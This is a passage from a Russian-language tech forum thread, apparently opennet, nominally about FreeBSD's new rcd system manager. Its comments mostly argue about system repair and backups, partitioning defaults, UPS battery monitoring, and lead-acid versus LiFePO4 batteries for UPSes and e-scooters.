чем тебе винда не угодила? (А, тем самым - чсв не потешишь, у миллионов других те же самые "оптимизации") > И иногда проще всего - взять машину времени и попробовать вон то еще раз заново, поехав > другим маршрутом, вместо того чтобы пытаться разгрести последствия. это ж вот блжд что надо сотворить такое со _своей_ системой? Да в целом понятно что - кексперт не понимает что творит, поэтому ему проще вон то еще раз заново. А мне - нет (для этого вон венда есть - да и то, прибегать приходится крайне редко). Для меня снапшоты это прежде всего crash-consistent backups, но тут снова вступает в силу неумение твоего педальногого звездолета в full backup без ужасного микроменеджмента. Поэтому бэкапы и снапшоты делаются силами хранилки или вмвари, а на bare metal ЭТОГО у меня не будет. Для ext* есть lvm snapshot и dump. Часто достаточно вообще только последнего. И это еще и прочитается потом везде и на любой фс.
	Ответить | Правка | Наверх | Cообщить модератору

	115. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 21:53
	Если бы то что у вас подпадает под ваши критерии "ремонтопригодность" было кому то надо - оно бы было. Полагаю другие люди просто чинят загружаясь с рабочей системы, лайвсд какогонить и не теряют время пытаясь нечто глюкавое воскресить находясь внутри. Учитывая что это линукс, достаточно чтобы mount+chroot работали, дальше можно смонтировать запасной рабочий образ и чрутнутся в него и уже от туда примерно как с лайвсд чинить.
	Ответить | Правка | К родителю #54 | Наверх | Cообщить модератору

	274. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 19:59
	> Если бы то что у вас подпадает под ваши критерии "ремонтопригодность" было > кому то надо - оно бы было. > Полагаю другие люди просто чинят загружаясь с рабочей системы, Нет. Тут наш местный подвальный был прав - те другие ничего не чинят (и не умеют, кстати) да и чинить в этих поделках нечего обычно уже. Умерла так умерла. Любые серьезные повреждения - ребут-реинстал. Если там были твои ценные данные - сам виноват.
	Ответить | Правка | Наверх | Cообщить модератору

	281. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (276), 11-Сен-26, 20:37
	Ценные данные вообще-то бэкапить надо
	Ответить | Правка | Наверх | Cообщить модератору

	287. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 22:34
	раз в секунду - норм? А если не норм - то может головой еще разок-другой попробуешь не только есть?
	Ответить | Правка | Наверх | Cообщить модератору

	299. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:20
	Зачем? Проще диск примонтировать и скопировать, в данном случае.
	Ответить | Правка | К родителю #281 | Наверх | Cообщить модератору

	316. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 08:49
	> Зачем? > Проще диск примонтировать и скопировать, в данном случае. не проще, потому что тебе визу не дадут - место рождения Челябинск в паспорте. И это далеко не единственный вариант когда проще все же починить.
	Ответить | Правка | Наверх | Cообщить модератору

	335. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:39
	Ну да, я как бы хостег чувствительной/нужной инфы никогда не рассматривал во вне.
	Ответить | Правка | Наверх | Cообщить модератору

	392. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 09:11
	> Ну да, я как бы хостег чувствительной/нужной инфы никогда не рассматривал во > вне. и при этом остался "патреотом", только почему-то проживать подальше от точки приложения патреотизма изволишь. А я вот сейчас пытаюсь понять как осторожно передать владение доменом существующим аж с 99го года кому-то кто имеет госуслуги (sic!) но не собирается возвращаться "проведать больную маму" ни при каких обстоятельствах. Из подходящих кандидатур разьве что Боря Тоботрас (кто помнит тот помнит) но он немного опоздал родиться, ему наверное не будет интересно. Нет, сам сайт выключен давно и включен не будет никогда. Но даже владение мертвым доменом на мой взгляд уже опасно. Там ведь писали так как принято было в 90е, не боясь ненароком что-нибудь "дискредитировать".
	Ответить | Правка | Наверх | Cообщить модератору

	411. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 13-Сен-26, 14:24
	Да нет у меня потреотизма, просто кругом идиоты, иногда даже намного больше чем в рф. Просто изнутри это не видно и кажется что опять из дебилятора всё врут. Они конечно врут но не всё. Есть же классика: зарегать на бомжа. Кроме того, если возникнут вопросы, то поднять историю владения не составит труда и весь перенос владельца смысла не имеет.
	Ответить | Правка | Наверх | Cообщить модератору

	448. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 23:51
	> Есть же классика: зарегать на бомжа. Попроси у ЫЫ найти тебе классику - как бомжи сп-дили у очень умного евpeя Малиса его бизнес. Спасибо, один фонбет вместо исторического сайта у нас уже есть, хорошо для меня он ценности не представлял. Для этого можно и просто ничего не делать, через пол-года из-за непродления сам превратится в тыкву. > Кроме того, если возникнут вопросы, то поднять историю владения не составит труда > и весь перенос владельца смысла не имеет. претензии будут к текущему, а не к тому кто владел десять лет назад.
	Ответить | Правка | Наверх | Cообщить модератору

	345. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от User (??), 12-Сен-26, 16:35
	>> Если бы то что у вас подпадает под ваши критерии "ремонтопригодность" было >> кому то надо - оно бы было. >> Полагаю другие люди просто чинят загружаясь с рабочей системы, > Нет. > Тут наш местный подвальный был прав - те другие ничего не чинят > (и не умеют, кстати) да и чинить в этих поделках нечего > обычно уже. Умерла так умерла. Любые серьезные повреждения - ребут-реинстал. Если > там были твои ценные данные - сам виноват. Вот щаз прям обидно, да! Вроде как /home все desktop linux'ы по дефолту выделяют )
	Ответить | Правка | К родителю #274 | Наверх | Cообщить модератору

	351. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 17:38
	у меня нет десктопов. а так да, выделяют- выделяют. Интересно, у редхатоклонов до сих пор невозможно создать лэйаут с всем местом в / без ручного указания в байтиках сколько куда (охренеть "удобно" когда размер у каждой новой системы может быть любым) ? autopart прямой поставки из 80х годов прошлого века за каким-то лешим всегда создает никому ненужный /home на все "лишнее" свободное место на диске. --nohome - внезапно... оставляет "лишнее" просто пустым. Убунту, к счастью, можно уговорить не страдать хренью и всегда использовать все свободное место на диске под один раздел. (нормально изолировать /var /srv /opt - не, нельзя, ну или придется каждый раз калькулятор использовать) ну а чо вы хотите, эпоха линукса-на-десктопе. Правда опять в виртуалочке в макоси.
	Ответить | Правка | Наверх | Cообщить модератору

	398. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 13-Сен-26, 11:54
	> у меня нет десктопов. > ну а чо вы хотите, эпоха линукса-на-десктопе. Правда опять в виртуалочке в > макоси. Ну, на серверах все еще веселее бывает :). Ставил тут zVirt на проекте - на сервере вот флешка в 64 гб. По дефолту - выделяет /var, /var/log, еще что-то куда-то. Как будто бы не совсем то, что нужно. Выбираю ручной режим, убираю лишнего и ээээ... чота странное - количество доступного места уменьшиолсь. Ну ок, может осчитались где? Ставлю и вижу: эти <censored> создали разделы в соответствии со своими представлениями о прекрасном, не примонтировали их (!), под "твои" требования отдали все что осталось - еще и в логах ругаюццо, что мол нет выделенного раздела под ххх и ууу.
	Ответить | Правка | Наверх | Cообщить модератору

	401. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 12:25
	> на серверах все еще веселее бывает :). Ставил тут zVirt на проекте - на сервере вот > флешка в 64 гб. тут возможно и имеет смысл изолировать логи от базы и от системы тоже. Чтоб оно лопнуло в безобидном месте а не еще и всю виртуализацию уронило. Тем более места крохи, шансы упасть есть. Но в целом чего ты хотел от системы с таким названием - они и этого нормально не шмагли. Потому что даже не проверили что этот путь вообще работает.
	Ответить | Правка | Наверх | Cообщить модератору

	405. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 13-Сен-26, 13:05
	Есть). Более того, я так и хотел сделать (а вот /var/ с postgres как раз таки не хотел - а то сделаешь vacuum full освобождения места для и привет) - но как создание разделов без их монтирования способствует повышению стабильности работы - вот не понял. А, смешное - внутре у него вот центось, которую под это прям специально портить пришлось...
	Ответить | Правка | Наверх | Cообщить модератору

	58. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 15:00
	Сильно зависит от того как и что вы собрались чинить. По мне сильно проще сохранить etc, var и что ещё было руками накручено и "переставить" систему/перезалить бинарники, чем делать какие то странные упражнения по ручной починке чего то там внутри. И собственно за 15+ лет использования у меня фря ломалась всего несколько раз, и вроде 1-2 из них было после неудачных обновлений, остальное были проблемы с железом. Я и /rescue то не держу (там как раз все версии бинарников статически слинкованные, специально для ручного восстановления о котором вы) - не вижу смысла возится в раздолбаной системе.
	Ответить | Правка | К родителю #48 | Наверх | Cообщить модератору

	275. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 20:01
	> Сильно зависит от того как и что вы собрались чинить. > По мне сильно проще сохранить etc, var и что ещё было руками вот и сиди, вспоминай, что там было еще и где. И потом пару недель - что там и где еще было забыто и почему вылез глюк исправленный пять лет назад. > раз, и вроде 1-2 из них было после неудачных обновлений, остальное > были проблемы с железом. и чего - железо резко стало беспроблемное или ну его просто стало нахрен? А на десктопе, поди, венда.
	Ответить | Правка | Наверх | Cообщить модератору

	300. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:26
	Не, так уже не бывает практически. В том смысле что пользовательские данные не разбрасываются обычно по всяким не понятным местам в системе, а системные понятно где хранятся. По крайней мере на десктопе и медиаплеерах так. На домашнем сервере совсем мизер беспорядка, но там инсталляция по сути живёт наверное с 2009 года. Нет, мне просто везло наверное с железом и собственно инсталляций у меня было мало. На десктопе венды нет вроде с 2015 года, и как то не хочется :)
	Ответить | Правка | Наверх | Cообщить модератору

	305. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от нах. (?), 12-Сен-26, 00:11
	у меня основной потерей будут - настройки системы. Воспроизводить их вот для рабочих именно - очень долго и больно. А что я там менял пять минут назад - не помню уже. Систем не одна, настроек много. ну и вон того видео, которого в ютубе больше нет, а в хранилку еще не собрался скопировать - тоже будет жалко. А с железом бывает вообще что угодно - хитачи (кто тут недавно хвалил? что мол надежно как танк и собрано из дерьма и палок. В общем, да, дерьмо и палки.) вон намедне нае...сь и даже не чирикнула. И да, нельзя ли изобрести такой ups, о смерти батареи в котором узнают ДО того как он сдыхает при попытке на нее переключиться?
	Ответить | Правка | Наверх | Cообщить модератору

	313. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (163), 12-Сен-26, 04:50
	>И да, нельзя ли изобрести такой ups, о смерти батареи в котором узнают ДО того как он сдыхает при попытке на нее переключиться? Есть конечно, профессиональные ИБП для серверов. Умные UPS (Линейка Smart и выше)В более дорогих ИБП (например, серий APC Smart-UPS, Eaton, Vertiv) алгоритмы гораздо сложнее. Промышленные системы (BMS)В дата-центрах и на крупных узлах связи не полагаются даже на логику ИБП. Там используются внешние BMS (Battery Management Systems). По поводу первого абзаца, открой для себя Ansible. Как бы без него девопсы жили. По поводу виде на Ютуб, если Ютуб смотреть через аккаунт, то вся история сохраняется и можно найти какое видео смотрел, если только в ручную не отключить. Порою мне искренне жаль местных экспертов, никто из них не работал сисадмином, только сидят, конфиги ковыряют бесконечно.
	Ответить | Правка | Наверх | Cообщить модератору

	317. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 09:26
	> Есть конечно, профессиональные ИБП для серверов. > Умные UPS (Линейка Smart и выше)В более дорогих ИБП (например, серий APC ты нипаверишь... Нет, кнопка тестирования батарейки тебе ничем не поможет. Нет настолько "smart" упсов которые догадывались бы тестировать батарею НЕ подключая ее к реальной нагрузке (и да, нужна тестовая, нет, до такого инженерия не додумалась - ДАЖЕ в промышленных агрегатах высотой с дом). Просто "ой, чпок!" случится у тебя при нажитии кнопки, а не при реальном сбое питания. > Промышленные системы (BMS)В дата-центрах и на крупных узлах связи не полагаются даже > на логику ИБП. Там используются внешние BMS (Battery Management Systems). поэтому у нас оно не просто сдохло в один непрекрасный момент, а пяток батарей взорвался нахрен. Залив все своим ядовитым содержимым так, что без химзащиты и войти-то было нельзя. (к счастью батареи не в помещении ЦОД а вообще в другом конце здания, и там никого в момент взрыва не было) Поставщик, кстати, до сих пор не ответил какого хрена и что с этим делать. Да, там есть регламент замены, без разницы еще живых или уже дохлых. Вот после замены оно и того. Вот так бывает, когда информация не из гуглопоиска, а ты на самом деле работаешь с этим не один год и знаешь цену рекламным листовочкам. Да, у такой системы не один блок, поэтому без питания осталась часть ЦОД а не весь, большое спасибо, б-ди сэр. > По поводу первого абзаца, открой для себя Ansible. Как бы без него > девопсы жили. как мы без него и без девляпсов жили - учоные спорят. Хорошо жили. Мне совершенно не нужен написанный этими рукож0пами пихоновый скриптик с ключами от всего кучкой под ковриком. Он моих проблем никаких не решает (мы вообще-то не вчера родились и как-то умели справляться за двадцать лет до его появления с массовым обслуживанием совершенно одинаковых коробок) и создает чудовищное количество новых. А теперь расскажи как он тебе поможет восстановить незагружающийся твой собственный ноут, который у тебя один такой, к примеру. > По поводу виде на Ютуб, если Ютуб смотреть через аккаунт, то вся > история сохраняется и можно найти какое видео смотрел, если только в малыш, мне не нужно чтобы ютуб хранил мою историю. Мне нужно чтоб у меня сохранились видео. Потому что, когда ты вырастешь, ты внезапно узнаешь, что то что ты смотрел вот вчера - сегодня посмотреть ты не сможешь. А если вырастая еще и поумнеешь - что и хорошо бы никто не мог сохранить такую историю и ее кому попало перепродать или вовсе "ответить на запрос госорганов". "а потому что нет гарантии нигде и не на что". Вот то видео что у меня реально потерялось и не оказалось в бэкапе - оно из второго разряда. > Порою мне искренне жаль местных экспертов, никто из них не работал сисадмином, > только сидят, конфиги ковыряют бесконечно. понимаешь, твоя работа сисадмином в подвальчике на три компа - не совсем то что меня интересует последние лет 25. А судя по твоим "мега-познаниям" - дальше ты пока не продвинулся.
	Ответить | Правка | Наверх | Cообщить модератору

	331. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:27
	> По поводу виде на Ютуб, если Ютуб смотреть через аккаунт, то вся история сохраняется и можно найти какое видео смотрел, если только в ручную не отключить. Да вы совсем юны и наивны :) Удачи вам найти яузкий в оригинале или песенку про шпиль, тоже в оригинале а не перемыленое мыло.
	Ответить | Правка | К родителю #313 | Наверх | Cообщить модератору

	330. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:23
	Так вот странно что у вас настройки системы за пределами etc и var разбросаны. Я считаю UPS устаревшей темой, при случае просто поставлю набор для солнечной автономки, который вполне себе online UPS. Там нонче BMS умные и умеют считать сколько батарея запасла энергии, так что даже тестов никаких не надо, и работа от батарей там не разовый инцендент а ежедневно используемый функционал.
	Ответить | Правка | К родителю #305 | Наверх | Cообщить модератору

	341. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 16:10
	> Там нонче BMS умные и умеют считать сколько батарея запасла энергии упсы тоже умеют, но есть нюанс - сколько она там "запасла" (или не запасла а просадила в тепло) не равно тому сколько потом проработает под нагрузкой. В этом собака и порылась. солнечное автономное питание на домик поросенка, а не один полудохлый ноут - стоит и весит столько, что окупится (без зильонанутых подачек) ровно никогда. (у меня оно, если кто не в курсе - есть, но это именно зарядить ноут где-то в заднице мира, и лучше не думать сколько это все весит и стоит)
	Ответить | Правка | Наверх | Cообщить модератору

	364. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 22:46
	Так смотря сколько у вас кВт*ч стоит, и насколько часто отключения vs насколько не охота сидеть при свечах и уровень инсоляции тоже важен. Плюс оно же не обязательно брать всё сразу, можно взять контроллер и потом докупать и панели и батареи. У меня тут инсоляции полно, электричество дорогое (в районе 20 руб за килоВатт час) да ещё постоянно пугают отключениями, хотя отключали по факту всего пару раз, и то 1-2 раза это были плановые работы. Может вы давно не смотрели ценники, последние годы там спрос вырос и цены упали.
	Ответить | Правка | Наверх | Cообщить модератору

	382. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 02:31
	>> Там нонче BMS умные и умеют считать сколько батарея запасла энергии > упсы тоже умеют, но есть нюанс - сколько она там "запасла" (или > не запасла а просадила в тепло) не равно тому сколько потом > проработает под нагрузкой. В этом собака и порылась. Просто алго классических упсов и правда хтонически тупы по сравнению с современным state of art. Реальное состояние батареи сейчас умеео мерять уже даже долбаный пятибаксовый ширпотреб, при том - в единицах миллиом, 4-проводной схемой, что позволяет узнавать свойства даже очень пафосных банок типа какого LTO на 2.3V @ 40 A*h (можешь посмотреть чот сие за штука, увесистая банка "энергетика" :D). И только для производителей упсов застрявших в их долбаных 90х - все это почему-то до сих пор рокетсайнс. Они попросту - зажрались и забили болт, а BMS и измериловка вместе с батарейками давным давно ушли вперед...
	Ответить | Правка | К родителю #341 | Наверх | Cообщить модератору

	388. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 13-Сен-26, 07:01
	Ну вот я тоже немного в офигении от такой разницы между UPS и тем что для питания всей хаты. Может есть какие то совсем дорогие UPS где сделано нормально, но такое ощущение что стоят они явно дороже систем "автономки"/генерации для дома. Больше всего меня расстраивает конечно же свинец в UPS, и особенно тем что там банки тупо последовательно без какой либо BMS, реально прошлый век когда даже индикатор заряда (напряжения) уже был дорогой и сложной фичей. Нынче даже в электросамокат можно вкорячить BMS с блютусом и активным балансером (если места хватит), и мониторить в реальном времени состояние каждой параллели с просадками под нагрузкой. И стоит оно совсем не дорого.
	Ответить | Правка | Наверх | Cообщить модератору

	394. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 09:34
	> Больше всего меня расстраивает конечно же свинец в UPS, и особенно тем чем тебе не угодил - свинец? Он в десять раз дешевле, в сто раз пожаробезопаснее, а его вес в данном случае не играет никакой критической роли. > что там банки тупо последовательно без какой либо BMS, реально прошлый ты не поверишь - в тесле банки тоже "т-по последовательно". Не все но большая часть таки да. И в твоем самокате тоже. В конструкциях NsMp те N - просто сварены ленточкой насквозь. А по одной - банки не используют почти нигде потому что в той тесле этих банок - десятки тыщ. Представь себе бородищу проводов чтобы подключить к КАЖДОЙ отдельный контроллер. И цену решения. Дешевле выбросить батарею целиком через сколько там у них щас - 80000? BMS используют наоборот для _упрощения_ - чтоб не контролировать каждую отдельную M сборку, а подать питание заряда на все сразу. И она просто шунтирует резистором блок, который по ее мнению уже заряжен, чтоб он не взорвался нахрен. Свинец же не то что не чувствителен к перезаряду, а еще и восстанавливается им. > И стоит оно совсем не дорого. Вообще-то изрядно дорого. Новый свинцовый аккум к моей тачке я могу купить тыщ за 15, и мне еще 800 рублей сдачи дадут, за ценный свинец, замена батареи в самокате станет в 50, и еще надо по хорошему десятку доплатить за правильную утилизацию особо опасного отхода, а не ночью крадучись подбросить в мусорку как я. Разница большей частью в том что ездить на самокате весом в 25кг с той батареей будет немного неудобно, а в машине рядом все равно движок весом в тонну, она даже не заметит. Зато она заводится в -25, а обычный литий при попытке его заряжать при этой температуре - умрет, так что поаккуратней со своим solar power если дом разморозился. (разряжать можно но тоже есть фокусы)
	Ответить | Правка | Наверх | Cообщить модератору

	412. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 13-Сен-26, 14:41
	Свинец мне не угодил циклами и тем что оно в 99% случаев стартовое а не тяговое, от чего разрядные характеристики слишком не практичные получаются. Я не говорил чтобы к каждой параллели отдельный зарядный контроллер подключать, но БМС таки контролирует напругу на каждой параллели и в случае если умеет балнсировать в итоге даёт такой же эффект как если бы туда были везде подключены индивидуальные зарядные контроллеры. > Новый свинцовый аккум к моей тачке я могу купить тыщ за 15, и мне еще 800 рублей сдачи дадут, за ценный свинец, замена батареи в самокате станет в 50, и еще надо по хорошему десятку доплатить за правильную утилизацию особо опасного отхода, а не ночью крадучись подбросить в мусорку как я. Ну вот только твой свинец даже в UPS не служит больше 2-3 лет, а если там циклы заряд/разряд каждый день то и месяца не протянет. А LiFePo4 ровно там же может и год легко отработать и после 5 лет тоже будет юзабелен если его не каждый день циклировать. Тем более сейчас купить годный свинцовый акб тот ещё квест. У меня LiFePo4 сборки в домашних UPS уже больше 5 лет живут и до сих пор всё живое и ёмкость оно не особо то и потеряло если потеряло вообще - циклов было совсем мало. И именно такое ставят в домашние системы, потому что оно хорошо держит и циклы и разряд относительно не большими токами = тяговое. Попутно оно ещё сильно безопаснее обычного LiIon, наверное почти как свинец, только без болячек в виде выделения водорода и необходимости его гарантированного отведения. Замена в самокате зависит от батареи. Мне в этом году новая сборка вышла в 35к руб примерно (13s5p 18650), а тот самокат я брал когда то наверное за столько же, правда тогда курс был другой (2021 год). И то что цена батареи больше половины цены самоката не новость для меня. И да, бонусом у меня куча повербанков появилась - на алике неплохие под 18650 есть, а в батрее было полно ещё живых ячеек которые для самоката уже не очень а для повербанков и фонариков ещё огого.
	Ответить | Правка | Наверх | Cообщить модератору

	415. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 15:33
	> Свинец мне не угодил циклами и тем что оно в 99% случаев стартовое а не тяговое оно - разное. Необязательно брать батарейку из под грузовика. Циклы как раз нужны чтобы быть уверенным что оно вообще живое. > БМС таки контролирует напругу на каждой параллели ну так зарядник свинцовых тоже самое делает. Параллельных банок только побольше, потому что напряжение 1.2 а не 3.7 > Замена в самокате зависит от батареи. Ну я вот прикинул - выходит около 50 на мой. Это без суперконтролеров с bt, он - китайский. Только батарейки и сварка. Своего сварочного аппарата у меня нет, это тоже недешевая и не очень простая игрушка. Новый такой в общем почти столько же, но он будет - новый, а не половину подшипников пора бы тоже поменять. Срок службы - ну.. э.. свинцовые в упсах живут гораздо более спокойной жизнью, тут глупо в лоб сравнивать.
	Ответить | Правка | Наверх | Cообщить модератору

	428. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 13-Сен-26, 17:20
	Я когда то давно искал. Тогда были свинцовые для яхт и пр, специально тяговые. Сейчас, как я понял их всех вытеснили LiFePo4 потому что они лучше во всём, кроме цены за килоВатт*час, но разница в деньгах легко нивелируется колличеством циклов, ну и кому то место/вес тоже жмут. > ну так зарядник свинцовых тоже самое делает. Зарядник свинцовых тупо шпарит свои 14В для 6 последовательных ячеек, сколько там напруги на каждой отдельной ячейке - нынче и не узнать. Раньше ячейки были отдельными и сверху были свинцовые перемычки. В общем то я ни раз видел как одна из ячеек в таком автомобильном АКБ помирала, а остальные ещё как то годны были хотя бы для аварийного освещения, но юзать это было трудно, за исключением случаев когда мёртвая ячейка уходила в короткое замыкание. В случае с литием - его тоже зарядник тупо заряжает все ячейки сразу. Но БМС потом может сидеть и выравнивать напряжение перебрасывая по немногу заряд пока везде не станет одинаково. Если вы в москве или у вас в городе есть FastMotion - то пожалуй рекомендую, на ютупе у них есть канал. В остальном зависит от самоката и прочих условий. У меня самокаты все обслужены - мне не сильно трудно, я только батарею сам делать не умею (всмысле сделать то я могу, но долго и без опыта будет коряво первые разы) и не хочу. Сварочник на алике нынче не дорого стоит, баксов 50 кажется. Но проблема не в сварочнике, а в том что работа нудная и крополивая, особенно если собирать без холдеров, и есть куча нюансов в плане того как что сделать чтобы оно потом не перетёрлось и не пыхнуло на кочке. Для выпресовки подшипников на алике есть тулзы, с ними всё это делается предельно комфортно :) Если брать новый - такого класса как у меня выйдет заметно дороже чем батарейку поменять, но у меня тут местная специфика: в магазинах всё х2-х4. WHITE SIBERIA TEVERUN FIGHTER MINI в рф стоит 114к а тут 170к руб в пересчёте, просто для сравнения. > Срок службы - ну.. э.. свинцовые в упсах живут гораздо более спокойной жизнью, тут глупо в лоб сравнивать. Это они там спокойной жизнью живут только во влажных мечтах производителя, на практике бывает сильно по разному. У меня разочарование в свинце случилось когда у меня каждый день отключения были по несколько раз по несколько часов и новый комплект АКБ продержался недели две. Да и в принципе почти всегда получалось так что как только случается необходимость то свинец или уже мёртв или его хватает ровно чтобы минут за 5 всё потушилось. LiFePo4 - как вентиляторы ноктуа: дорого, зато поставил и забыл лет на 10 - оно работает и не жужжит :) К свинцу я вернусь только если случится апокалипсис и мне придётся АКБ самому руками делать побираясь свинцом на помойках.
	Ответить | Правка | Наверх | Cообщить модератору

	434. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 17:51
	> Сварочник на алике нынче не дорого стоит, баксов 50 кажется. таким ничего сварить не получится, инфа 100% И даже за 100 приходит нерабочее изначально сломанное. "но можно починить" (c) щисливый владелец. Но он варит по десятку батарей в месяц на продажу, может потрахаться один раз со сварочником. > LiFePo4 - как вентиляторы ноктуа: дорого, зато поставил и забыл лет на 10 - оно работает и > не жужжит :) проблема что от 14 вольт их не зарядить, надо колхозить отдельную зарядку.. по сути отдельный упс. В готовом виде ничего нет. И стоит на вес золота. Проще пока раз в три-четыре года таки "упс!" и починить слегка поломатые фс по всему дому. Последний раз досталось кластеру, у него упс отдельный и вроде бы был исправен, но нет. Это вот вышло похуже и подороже потому что от броска накрылся один из 12вольтовых преобразователей. фс вроде без потерь. Купил ему батарею вдвое больше предыдущей, пусть он гад подавится. Ни тесты, ни мониторинг, разумеется, опять не сработали.
	Ответить | Правка | К родителю #428 | Наверх | Cообщить модератору

	437. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 13-Сен-26, 17:59
	Почитайте тему по лучше :) 1. LiFePo4 ставятся вместо свинца и работают. Но если совсем ничего не делать то насколько помню они не заряжаются на 100%. 2. Для старых APC есть схемы и на форумах можно найти какой резистор перепаять чтобы зарядное напряжение стало нужным. 3. Для новых APC (2015+ условно) вроде вообще программно настраивается до какого напряжения заряжать. Я вот помнится 2 перепаял, на одном просто поставил вместо свинца и ничего не делал. Ну дешман модель что я видел была сама на литие, я так понял она чтобы немного сварок делать, типа 10-30 сварок и ставь на зарядку, для сборки самоката конечно можно но процесс растянется. Насколько хорошо оно варит я не углублялся. А для компов жрущих до 100 Ватт можно намутить питание через повербанк, там на выходе 20В 5А, есть ATX блоки под такое.
	Ответить | Правка | К родителю #434 | Наверх | Cообщить модератору

	439. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 18:40
	> LiFePo4 ставятся вместо свинца и работают. сколько-то и как-то. Потому что для правильного заряда им сccv нужна, ее нет. И даже просто cc нет. упсовый зарядник шарашит плюс-минус 14 вольт не сильно парясь если они просядут. И тем более он не парится вовремя отключать заряд. Возможно bmc тебя и спасет, но будет греться и жрать электричество. Никакой перепайкой резисторов это не починить. Вдовесок ты полностью потеряешь контроль над состоянием батареи, потому что он ориентируется на разрядную кривую свинца. То что оно и CC зарядником не дозаряжается дальше на какие-то три процента - как раз ерунда и дольше проживут.
	Ответить | Правка | К родителю #437 | Наверх | Cообщить модератору

	444. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 13-Сен-26, 19:44
	Давно смотрел тему. В целом если напруга меньше - то ничего там не греется, оно просто стоит под напряжением с нулевым током. Контроль остался - у меня APC Smart~ы, я их просто перекалибровал и оно достаточно адекватно работает, как минимум раньше нужного не отключается. Если проблемы и есть то только в момент когда заряда мало - там у лифепо4 кривая напруги резко падает в отличии от свинца.
	Ответить | Правка | К родителю #439 | Наверх | Cообщить модератору

	436. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 17:58
	> Ну вот я тоже немного в офигении от такой разницы между UPS > и тем что для питания всей хаты. Как я уже сказал - индустрия UPS наглухо застряла в гребаных девяностых и являет собой отчаянный позор инженерии с дорогим г-ном с погаными параметрами. Я конечно понимаю что реально продвинутая и качественная силовая электроника никогда не была дешевой - но у индустрии UPS соотношения на данный момент просто хтонически позорные имхо. Если посмотреть на смежные отрасли, их АКБ, BMS, вот это все... ух... там все в РАЗЫ лучше, дешевле, продвинутее! > Может есть какие то совсем дорогие UPS где сделано нормально, но такое > ощущение что стоят они явно дороже систем "автономки"/генерации для дома. Но роялит то - соотношение цена/качество. Да и так то самый шик мегакорпа - накормить кастомера гамном за чемодан денег, желательно чтобы он спасибо сказал и пришел за новой порцией. > Больше всего меня расстраивает конечно же свинец в UPS, и особенно тем > что там банки тупо последовательно без какой либо BMS, реально прошлый > век когда даже индикатор заряда (напряжения) уже был дорогой и сложной > фичей. Ага блин. Каменный век инженерии. К тому же с весьма ограниченным сроком службы и немеряными размерами и весом при дубовости индикации и вон том "узнаете что акб сдох когда вам ups понадобился". Т.е. это д-мо мамонта с алго из 90х - не может состояние батареи прикинуть иначе чем цеплянием нагрузки. Потому что последний раз прошивку окаменелого mask rom проца эти дино - в 90е и писали! > Нынче даже в электросамокат можно вкорячить BMS с блютусом и активным балансером > (если места хватит), и мониторить в реальном времени состояние каждой параллели > с просадками под нагрузкой. И стоит оно совсем не дорого. Ну дык. Это сейчас везде есть. И литиевые батарейки - в разы меньше, емче и легче. И служат дольше - особенно специализированные типа LiFePO/LiTiO которые под именно долгоиграющие системы - а не LiIon который скорее за рекордными параметрами гонится, ценой срока службы и большей опасности химии.
	Ответить | Правка | К родителю #388 | Наверх | Cообщить модератору

	393. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
